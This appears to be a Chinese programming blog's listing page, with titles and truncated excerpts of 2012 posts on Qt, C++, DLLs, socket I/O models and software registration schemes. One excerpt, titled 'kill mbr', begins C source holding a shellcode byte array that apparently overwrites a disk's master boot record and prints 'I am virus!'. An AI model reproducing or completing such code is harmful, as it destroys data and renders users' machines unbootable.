- 博客(860)
- 资源 (13)
- 收藏
- 关注
原创 提取剪贴板内容中的youtube 链接
#include "getallurl.h"#include getAllUrl::getAllUrl(QWidget *parent, Qt::WFlags flags): QMainWindow(parent, flags){ ui.setupUi(this); //ui.lineEdit->setText("C:\\Documents and Settings\\s\\My Do
2012-06-06 13:47:14 496
转载 面向对象的三个基本特征(讲解)
面向对象的三个基本特征是:封装、继承、多态。封装封装最好理解了。封装是面向对象的特征之一,是对象和类概念的主要特性。封装,也就是把客观事物封装成抽象的类,并且类可以把自己的数据和方法只让可信的类或者对象操作,对不可信的进行信息隐藏。继承面向对象编程 (OOP) 语言的一个主要功能就是“继承”。继承是指这样一种能力:它可以使用现有类的所有功能,并在无需重新编写原来的类的情况下
2012-06-06 11:58:21 291
转载 exe和dll
程序的所有代码和数据都存在于进程空间之中。程序是在进程空间内运行的。进程空间是应用程序运行的基本环境,没有进程空间就根本无法运行程序。在EXE文件中,程序的数据引用关系和过程调用关系是用相对地址表示的,当程序加载到进程空间中的绝对地址上时,操作系统需要将对相对地址的引用和调用关系调整为对绝对地址的引用和调用关系,这一过程称为“重定位”。需要重定位的地方称为重定位项,它是保存在EXE文件的表头
2012-06-06 09:45:43 427
转载 开源代码网站
http://search.csdn.net/CSDN搜索,CSDN还是有非常多的编程资源的,用它的搜索能搜出不少东西。代码类别也比较全面。http://snippets.org/简单实用的代码收集网站,强力推荐。比如你要找个DES加密,要找个数据压缩,找个INI文件操作的C代码等,均能手到擒来。http://www.codase.com/index.html它是一个代码搜索引
2012-06-06 09:01:08 520
转载 获取网卡MAC、硬盘序列号、CPU ID、BIOS编号
http://topic.csdn.net/u/20081113/17/a10543d9-90d4-49c5-8d6b-a518cdb7bd64.html获取网卡MAC、硬盘序列号、CPU ID、BIOS编号收藏以下代码可以取得系统特征码(网卡MAC、硬盘序列号、CPU ID、BIOS编号) BYTE szSystemInfo[4096]; // 在程序执行完毕后,此处存储取得的
2012-06-05 17:54:08 1039
转载 QT: 在QT程序中使用cout和cin
1先输入10个数字,再输出。[cpp] view plaincopyprint?#include #include #include int main(int argc, char *argv[]) { QCoreApplication app(argc, argv); QTextStream cin(stdin, QIODev
2012-06-05 15:04:22 475
转载 QT:“下载速度柱状图”的模拟实现
不知是哪个版本的迅雷,有个“下载速度柱状图”的小界面,我比较喜欢(只不过最新版本的迅雷却没了),所以决定来山寨一个。当然,这个山寨品不能下载文件,呵呵。思路:1:将界面的背景涂成黑色2:每隔0.1秒就产生一个随机数,将它们添加到一个容器中3:重载paintEvent函数,,从界面的右边开始,依次将容器中的元素按倒序画出来(每个数据就是一个柱形)截图:
2012-06-05 14:57:34 648
转载 QT:浮动的饼状统计图(自绘不规则窗口)
昨天在玩手机游戏时,见到一个游戏的饼状投票统计图很漂亮,所以我今天也花了一个下午来实现了一个类似的程序娱乐一下,呵呵。思路:1:将窗体设为Qt::FramelessWindowHint和Qt::WA_TranslucentBackground(去掉标题栏,背景透明)。2:重载程序的鼠标事件(移动程序)和键盘事件(模拟投票和退出)。3:根据投票结果,在paintEvent函数中画几个扇形和
2012-06-05 14:56:16 608
原创 QT 工程清理Bat
rd /s /q Debug Release rcc_generated ui_generated moc_generated packdel /q *.ncb *.sln *.vcproj vc70*.* ui_*.hdel /a:h *.suo
2012-06-04 18:15:18 507
转载 qt 设置日志
#include #include #include void customMessageHandler(QtMsgType type, const char *msg) { QString txt; switch (type) { //调试信息提
2012-06-04 09:53:54 475
转载 extern 和 external“C”的分析
extern 和 extern "C" 分析externextern是C/C++语言中表明函数和全局变量作用范围(可见性)的关键字:它告诉编译器,其声明的函数和变量可以在本模块或其它模块中使用。1。对于extern变量来说,仅仅是一个变量的声明,其并不是在定义分配内存空间。如果该变量定义多次,会有连接错误2。通常,在模块的头文件中对本模块提供给其它模块引用的函数和全局变量以关键字
2012-06-01 18:06:16 371
转载 C++中const、volatile、mutable的用法
const、volatile、mutable的用法const修饰普通变量和指针const修饰变量,一般有两种写法:const TYPE value;TYPE const value;这两种写法在本质上是一样的。它的含义是:const修饰的类型为TYPE的变量value是不可变的。对于一个非指针的类型TYPE,无论怎么写,都是一个含义,即value值不可变。例如:co
2012-06-01 18:05:39 399
转载 extern 和 external“C”的分析
extern 和 extern "C" 分析externextern是C/C++语言中表明函数和全局变量作用范围(可见性)的关键字:它告诉编译器,其声明的函数和变量可以在本模块或其它模块中使用。1。对于extern变量来说,仅仅是一个变量的声明,其并不是在定义分配内存空间。如果该变量定义多次,会有连接错误2。通常,在模块的头文件中对本模块提供给其它模块引用的函数和全局变量以关键字
2012-06-01 17:43:28 487
转载 完成端口的原理和举例
完成端口基本上公认为一种在windows服务平台上比较成熟和高效的IO方法,利用完成端口进行重叠I/O的技术在WindowsNT和WIndows2000上提供了真正的可扩展性。完成端口和Windows Socket2.0结合可以开发出支持大量连接的网络服务程序。 首先来看看重叠I/O(Overlapped I/O): 重叠I/O(Overlapped I/O)机制允许发起一个操
2012-06-01 17:42:26 425
转载 很幽默的讲解六种Socket I/O模型
本文简单介绍了当前Windows支持的各种Socket I/O模型,如果你发现其中存在什么错误请务必赐教。一:select模型二:WSAAsyncSelect模型三:WSAEventSelect模型四:Overlapped I/O 事件通知模型五:Overlapped I/O 完成例程模型六:IOCP模型老陈有一个在外地工作的女儿,不能经常回来,老陈和她通过信件
2012-06-01 17:41:17 315
转载 共享软件的注册加密法
软件高效传播开辟更加广阔的天地。如国内著名的金蜘蛛软件下载中心,就是一个典型的发布软件集散地。发布共享软件主要包括两种形式:日期限制形式和电子注册形式。日期限制形式允许下载软件的用户使用软件一段时间,如一个月等,如果用户认可该软件,可购买该软件的注册序列号继续使用;电子注册形式就是根据用户所用机器的硬件信息产生注册码,并在软件中对某些先进或常用功能进行限制,如果用户要使用其全部功能,必须将软件采集
2012-05-31 10:01:34 478
转载 用非对称密码算法制作共享软件的注册码
软件的注册码(又称为序列号)的设计都不是很好,比较容易被破解者做出注册机来。下面介绍一种利用公钥算法(又称为非对称算法)RSA制作注册码的方法。采用这种方法,不知道密钥的话时很难写出注册机来。实际上有部分软件已经使用了这类方法。 大家都知道RSA采用一对密钥,即公钥和私钥,从公钥难于推出私钥,反之亦然,这个难度是基于大数分解的难度。利用RSA生成共享软件注册码的思路如下:1、先随机生
2012-05-31 09:45:44 553
转载 如何用VC实现软件注册
要实现软件注册功能,首先需要知道实现注册机制要涉及到的几个问题:1、如何加入注册检测,判断软件是否注册;2、如何生成注册码,如何保证一个用户名只生成与之唯一对应的注册码;3、在软件不注册情况下,如何限制软件功能的局限性;4、对已经负费使用用户而言,不应造成使用不便。 首先,应该有一个生成注册码的算法,以下是我简单的一个生成15位注册码的算法:
2012-05-31 09:41:34 551
转载 一种简单注册码加密的例子分析
前言:为了保护软件开发者的权益我们经常需要对软件进行加密限制,以防止未经许可的随意拷贝。另一方面我们也可能需要在自己的共享软件中提供注册码的功能。近期笔者因为要对一软件进行加密限制,故对简单加密的方法做了一翻"研究"(找资料).下面我把我的方法写出来,希望对初学者有一定的帮助。本文源代码一: 注册机源代码 大小:10K本文源代码二: 解密机源代码 大小:10K1.目标:做到
2012-05-31 09:30:57 582
转载 QT 设置程序界面风格
在main函数中QApplication::setStyle("plastique");风格可以是 "windows", "motif", "cde", "plastique", "windowsxp", or "macintosh"
2012-05-30 16:36:25 2259
转载 VC实现应用程序在线升级
近几日一些程序老要修改点小毛病,为避免每次都通知程序使用者,便有想做一个在线自动升级的程序。在网上曾看到一个是使用 FTP 的,想到 FTP 需要用户名密码,许多程序如KFW 防火墙都能监看到程序发送的数据包,为防止密码泄露,故自己选用Http来做更新。我的思路是用命令行传递程序名称、版本号和 Update.ini 配置文件的 URL。命令行用法如下: update.exe 程序名 版本
2012-05-30 12:57:32 647
转载 在VC中创建DLL文件的方法步骤
今天教大家在VC中创建DLL文件的方法步骤,一起来学习一下,并不是很难的,相信聪明的你一看就会。 一.Win32动态链接库 1.制作的步骤: (1)新建WIN32 Dynamic-link Library工程,工程名为MyDll,选择A simple DLL project类型。 (2)MyDll.h的内容如下:以下是引用片段: extern "C
2012-05-30 12:57:12 329
转载 网站建设:怎样用自己的电脑做服务器
好多人都想有一个自已的个人主页空间,可大部分空间都要钱,比如一些学生们,哪有钱买个空间啊。不用急,家里有电脑的朋友们就可以有属于自已的 网站空间了。家里没电脑的朋友也不要急,大家可以到百度空间申请一个免费的个人主页空间 那要怎么实现呢?只有一个办法,利用自家电脑做服务器。自家电脑做服务器?行得通吗?答案是可以的。让我们一起来看看如何用自家电脑做服务器。 一、安装IIS 从桌
2012-05-30 12:56:35 1234
原创 QPushButton 按下 由别的控件使其弹起
QPushButton 2个构造函数{ui.pushButton->setCheckable(true);}void MyClass::on_pushButton_2_clicked(){ ui.pushButton->setChecked(isChecked); isChecked =! isChecked;}
2012-05-28 13:48:10 1242
原创 QT窗体设置点击任务栏按钮最小化和还原事件
setWindowFlags(Qt::FramelessWindowHint | Qt::WindowSystemMenuHint | Qt::WindowMinimizeButtonHint);
2012-05-25 11:01:03 3662 2
转载 ++ i, i++
//++iint operator ++(int &i){i = i + 1;return i;}//i++int operator ++ (int &i){int j = i;i = i + 1;return j;}
2012-05-22 11:27:21 280
原创 隐藏控件
QMenu ui.menuConvert->menuAction()->setVisible(visible);QTabWidget Tab ui.tabWidget->removeTab (TAB_PAGE_CONVERT);/Removes the tab at position index from this stack of widgets. The pa
2012-05-18 14:10:18 421
转载 VC 如何添加服务
用VC++建立Service服务应用程序2006-08-16 05:00作者:出处:BLOG责任编辑:方舟 为什么要使用服务应该程序呢?服务程序就像系统的一些服务一样,能够自动地启动,并执行相应的操作;而且因为服务程序的在层次上和一般的应用程序不同,其能够在系统启动时就自动地运行,而不像一般的应用程序那样一定要在登陆后才能运行,这些就是服务的一些好处了,如果你也想你的程序具有这样的功能,
2012-05-18 12:30:31 495
原创 QT 收藏 开源项目
http://code.google.com/p/ezviewer/source/checkoutCommand-line accessGet a local copy of the ezviewer repository with this command:git clone https://code.google.com/p/ezviewer/
2012-05-17 17:49:39 1415
转载 在QTableView中简单的显示tool tip
QT中tableWidget的单元格显示ToolTip(小提示)2010-09-16 20:48 有两种显示方法,一种是把鼠标放在单元格上面,显示出ToolTip;另外一种是用鼠标点击单元格,再会显示出ToolTip。 方法一: ui->tableWidget->itemAt(1,1)->setToolTip(tr("XXXXXXXXXXXX"
2012-05-17 15:27:34 2584
转载 VC动态库,静态库编译选项的使用
A) VC编译选项 多线程(/MT)多线程调试(/MTd)多线程 DLL (/MD)多线程调试 DLL (/MDd)B) C 运行时库 库文件Single thread(static link) ML
2012-05-17 11:25:35 645
转载 VC++动态库和静态库创建与使用
VC++动态库和静态库创建与使用 一:静态库的创建VC++6.0中new一个的为win32 static library工程,之后有二个选项。根据需求选吧。 具体的类或者函数的添加过程和标准的工程一样,直接创建新的类或者添加新 的.h(例:MY.h)和.CPP(例:MY.cpp)文件。然后在其中编写实现。 完成后编译会生成一个.lib文件(例如:生成的是MY.lib)。
2012-05-17 11:22:58 485
转载 QT连接SQL Server(ODBC)
QT提供了对多种数据库的访问支持,对SQL Server也可以通过ODBC来进行访问。要想顺利访问SQL Server。 首先要保证以下几点:1. QT编译时已经编译了QtSql2. 编译了ODBC插件。可以通过 configure -plugin-sql-odbc来保证,也可以单独编译~\src\plugins\sqldrivers\odbcqmake -t vclib odbc
2012-05-15 15:03:13 665
转载 Q_SIGNALS,Q_SLOTS, Q_EMIT
http://hi.baidu.com/lhj_dekongjian/blog/item/0bc212d12c2ac426960a1643.htmlCONFIG += no_keywords它告诉QT不要定义moc关键字signals,slots和emit,因为这些名字可能将被用于第三方库,例如Boost。你只需简单的用QT宏将他们替换为 Q_SIGNALS, Q_SLOT
2012-05-15 09:45:47 3523
转载 Hex to String Conversion C++/C/Qt?
http://stackoverflow.com/questions/1258718/hex-to-string-conversion-c-c-qthttp://www.qtcentre.org/archive/index.php/t-18719.htmlQByteArray text = QByteArray::fromHex("517420697320677265617
2012-05-14 15:07:23 958
转载 QDialogButtonBox
http://blog.csdn.net/deh_1984/article/details/5105917设置样式: QDialogButtonBox > QPushButton { color: white; } //box中的按钮文字改为白色 假定: QDialogButtonBox buttonBox;函数消息: clicked(QPushButton*
2012-05-14 10:46:09 862
转载 QT 双色球
生成exe图片 1.在项目文件夹里创建名为*.rc的文件,如myapp.rc。 2.文件中写入IDI_ICON1 ICON DISCARDABLE "myapp.ico" 其中,myapp.ico为图标的文件名。 3.将文件myapp.ico拷贝到项目文件夹内。 4.在解决方案资源管理器中,右键点击项目,添加myapp.rc及myapp.ico。 5.重新生成解决方案。 然后成r
2012-05-10 09:14:42 637
转载 kill mbr
#include #include unsigned char scode[] ="\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c""\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72""\x75\x73\x21\x20\x46
2012-05-07 12:42:43 477
原创 refresh one control QSS
void MainWindowDlg::forceRefresh(QWidget* w){#if defined(QT_DEBUG) qDebug()<<isFrameMaxmized();#endif setFrameMoveEnable(!isFrameMaxmized()); if (w->styleSheet().endsWith(" ")) w->setStyleShee
2012-05-07 12:35:19 365
nsSkinEngine_美化_安装包_NSIS_DirectUI_界面库_插件_防解包_自动升级_Duilib_C++_软件开发
2016-12-12
vs 2005 编译的 QT sqldrivers 插件
2012-08-03
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人